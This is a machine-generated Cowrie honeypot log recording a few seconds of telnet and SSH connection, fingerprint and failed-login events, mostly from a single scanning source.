{"eventid":"cowrie.session.closed","duration":30.852612257003784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:30.803017Z","src_ip":"174.142.104.49","session":"fc445eebd3e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49500,"dst_ip":"159.203.135.109","dst_port":23,"session":"079f42f702df","protocol":"telnet","message":"New connection: 174.142.104.49:49500 (159.203.135.109:23) [session: 079f42f702df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:31.001423Z"}
{"eventid":"cowrie.session.closed","duration":31.826854705810547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:31.058932Z","src_ip":"174.142.104.49","session":"9cf36b955015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.32322859764099,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:31.125187Z","src_ip":"174.142.104.49","session":"496fbac84119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.171260356903076,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:31.134295Z","src_ip":"174.142.104.49","session":"ab79286af860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82608151435852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:31.263762Z","src_ip":"174.142.104.49","session":"3e39249572a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34045720100403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:31.826902Z","src_ip":"174.142.104.49","session":"41915a3acf92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55352,"dst_ip":"159.203.135.109","dst_port":23,"session":"1deb1d599e6f","protocol":"telnet","message":"New connection: 174.142.104.49:55352 (159.203.135.109:23) [session: 1deb1d599e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.137704Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"f51f82b44470","protocol":"telnet","message":"New connection: 174.142.104.49:56720 (159.203.135.109:23) [session: f51f82b44470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.149023Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51282,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bde482d1c73","protocol":"telnet","message":"New connection: 174.142.104.49:51282 (159.203.135.109:23) [session: 7bde482d1c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.169740Z"}
{"eventid":"cowrie.session.closed","duration":30.851886749267578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.300881Z","src_ip":"174.142.104.49","session":"78e0ceef2597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53110,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2ae6c9961e4","protocol":"telnet","message":"New connection: 174.142.104.49:53110 (159.203.135.109:23) [session: a2ae6c9961e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.326056Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":52096,"dst_ip":"159.203.135.109","dst_port":22,"session":"56834b9cdf54","protocol":"ssh","message":"New connection: 200.105.172.184:52096 (159.203.135.109:22) [session: 56834b9cdf54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.352907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.357806Z","src_ip":"200.105.172.184","session":"56834b9cdf54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.84632921218872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.414155Z","src_ip":"174.142.104.49","session":"4b6fb3ae4f33","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.482543Z","src_ip":"200.105.172.184","session":"56834b9cdf54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42036,"dst_ip":"159.203.135.109","dst_port":23,"session":"32a24381509b","protocol":"telnet","message":"New connection: 161.132.53.68:42036 (159.203.135.109:23) [session: 32a24381509b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.502580Z"}
{"eventid":"cowrie.session.closed","duration":30.634392499923706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.531132Z","src_ip":"174.142.104.49","session":"177d0bb51ddf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574472904205322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.659696Z","src_ip":"174.142.104.49","session":"5efbe7bbf7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687292337417603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.740634Z","src_ip":"174.142.104.49","session":"faaad9478b96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":83.47163701057434,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:32.902134Z","src_ip":"174.142.104.49","session":"bdb7738ca056","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx123","message":"login attempt [root/1qaz2wsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:33.012276Z","src_ip":"200.105.172.184","session":"56834b9cdf54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52644,"dst_ip":"159.203.135.109","dst_port":23,"session":"50251180a87a","protocol":"telnet","message":"New connection: 174.142.104.49:52644 (159.203.135.109:23) [session: 50251180a87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:33.029315Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54354,"dst_ip":"159.203.135.109","dst_port":23,"session":"929c99444fef","protocol":"telnet","message":"New connection: 174.142.104.49:54354 (159.203.135.109:23) [session: 929c99444fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:33.089833Z"}
{"eventid":"cowrie.session.closed","duration":30.594223737716675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:33.324056Z","src_ip":"174.142.104.49","session":"7e3fab1cc5e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53606,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf3e889f41f3","protocol":"telnet","message":"New connection: 174.142.104.49:53606 (159.203.135.109:23) [session: cf3e889f41f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:33.620780Z"}
{"eventid":"cowrie.session.closed","duration":30.633865356445312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:33.635987Z","src_ip":"174.142.104.49","session":"92eca960bb8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61714768409729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:33.829971Z","src_ip":"174.142.104.49","session":"d9770f1b66e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:34.139601Z","src_ip":"200.105.172.184","session":"56834b9cdf54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.276276350021362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:34.165865Z","src_ip":"174.142.104.49","session":"81cee1b55ab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":54688,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6601fdcbb69","protocol":"ssh","message":"New connection: 96.78.175.36:54688 (10.17.0.5:22) [session: b6601fdcbb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:34.269297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:34.287045Z","src_ip":"96.78.175.36","session":"b6601fdcbb69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.266568660736084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:34.308384Z","src_ip":"161.132.53.68","session":"404b6182041c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.564777851104736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:34.350233Z","src_ip":"174.142.104.49","session":"aee874bafb42","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:34.376318Z","src_ip":"96.78.175.36","session":"b6601fdcbb69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43660,"dst_ip":"159.203.135.109","dst_port":23,"session":"deddb5fe2f65","protocol":"telnet","message":"New connection: 174.142.104.49:43660 (159.203.135.109:23) [session: deddb5fe2f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:34.441668Z"}
{"eventid":"cowrie.login.failed","username":"hadoopuser","password":"1234","message":"login attempt [hadoopuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:34.738356Z","src_ip":"96.78.175.36","session":"b6601fdcbb69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.042523860931396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.098647Z","src_ip":"174.142.104.49","session":"c9b583fc937a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.921440362930298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.142158Z","src_ip":"174.142.104.49","session":"f8dd88145e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.187581300735474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.192384Z","src_ip":"174.142.104.49","session":"a8857b0562f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967801809310913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.214935Z","src_ip":"174.142.104.49","session":"e4bc848d8189","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.657669067382812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.254214Z","src_ip":"174.142.104.49","session":"7e4ebb445464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57650,"dst_ip":"159.203.135.109","dst_port":23,"session":"285760d3a6d3","protocol":"telnet","message":"New connection: 174.142.104.49:57650 (159.203.135.109:23) [session: 285760d3a6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.321244Z"}
{"eventid":"cowrie.session.closed","duration":30.82146954536438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.376639Z","src_ip":"161.132.53.68","session":"5c3b544b3980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88018035888672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.404333Z","src_ip":"174.142.104.49","session":"f2be0affc295","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":82.80408716201782,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.421586Z","src_ip":"174.142.104.49","session":"600c41b5de8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58026,"dst_ip":"159.203.135.109","dst_port":23,"session":"711998b48736","protocol":"telnet","message":"New connection: 174.142.104.49:58026 (159.203.135.109:23) [session: 711998b48736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.528797Z"}
{"eventid":"cowrie.session.closed","duration":31.30113124847412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.534879Z","src_ip":"174.142.104.49","session":"da59b986320e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58538,"dst_ip":"159.203.135.109","dst_port":23,"session":"bafeca83331a","protocol":"telnet","message":"New connection: 174.142.104.49:58538 (159.203.135.109:23) [session: bafeca83331a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.830393Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.839585Z","src_ip":"96.78.175.36","session":"b6601fdcbb69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.821091175079346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:35.860189Z","src_ip":"174.142.104.49","session":"093d3c325b7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00840950012207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:36.095684Z","src_ip":"174.142.104.49","session":"d4e8c16cb4b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.942863941192627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:36.147468Z","src_ip":"174.142.104.49","session":"4d8e4ea7fa46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.364525079727173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:36.268497Z","src_ip":"174.142.104.49","session":"44359371d6cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.328161001205444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:36.385612Z","src_ip":"174.142.104.49","session":"62138c2fb7d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011837482452393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:36.618969Z","src_ip":"174.142.104.49","session":"3dc1da807deb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06395959854126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:36.775828Z","src_ip":"174.142.104.49","session":"4a25aef97f41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63972759246826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:37.153773Z","src_ip":"174.142.104.49","session":"dc2b455635a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60774,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d4e4c195c2f","protocol":"telnet","message":"New connection: 174.142.104.49:60774 (159.203.135.109:23) [session: 8d4e4c195c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:37.270571Z"}
{"eventid":"cowrie.session.closed","duration":41.9907386302948,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:37.391208Z","src_ip":"174.142.104.49","session":"40f3153f0480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664167404174805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:37.726889Z","src_ip":"174.142.104.49","session":"c56557c2ac58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59984,"dst_ip":"159.203.135.109","dst_port":23,"session":"6262d096a093","protocol":"telnet","message":"New connection: 174.142.104.49:59984 (159.203.135.109:23) [session: 6262d096a093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:37.737639Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57290,"dst_ip":"159.203.135.109","dst_port":23,"session":"1893095aa736","protocol":"telnet","message":"New connection: 174.142.104.49:57290 (159.203.135.109:23) [session: 1893095aa736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:38.026595Z"}
{"eventid":"cowrie.session.closed","duration":31.588308095932007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:38.031724Z","src_ip":"174.142.104.49","session":"1b9877436cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.285985469818115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:38.103774Z","src_ip":"174.142.104.49","session":"29e93c5e156b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34112,"dst_ip":"159.203.135.109","dst_port":23,"session":"b24c8bc515fe","protocol":"telnet","message":"New connection: 174.142.104.49:34112 (159.203.135.109:23) [session: b24c8bc515fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:38.220884Z"}
{"eventid":"cowrie.session.closed","duration":30.227900505065918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:38.243674Z","src_ip":"174.142.104.49","session":"8eebf1159dfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.190922260284424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:38.338962Z","src_ip":"174.142.104.49","session":"7780dd653a20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72421884536743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:38.365659Z","src_ip":"174.142.104.49","session":"c00528eeda0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53168,"dst_ip":"159.203.135.109","dst_port":23,"session":"43de11a4352a","protocol":"telnet","message":"New connection: 174.142.104.49:53168 (159.203.135.109:23) [session: 43de11a4352a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:38.377225Z"}
{"eventid":"cowrie.session.closed","duration":59.96777391433716,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:38.793317Z","src_ip":"174.142.104.49","session":"d0ddb707c517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35502,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fb94d85e6a8","protocol":"telnet","message":"New connection: 174.142.104.49:35502 (159.203.135.109:23) [session: 2fb94d85e6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:39.035447Z"}
{"eventid":"cowrie.session.closed","duration":31.926584243774414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:39.142035Z","src_ip":"174.142.104.49","session":"4070867134c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.501777172088623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:39.177031Z","src_ip":"174.142.104.49","session":"43ff09b05148","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45069646835327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:39.228030Z","src_ip":"174.142.104.49","session":"deea7a7fcb65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35946,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec65b592291c","protocol":"telnet","message":"New connection: 174.142.104.49:35946 (159.203.135.109:23) [session: ec65b592291c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:39.287182Z"}
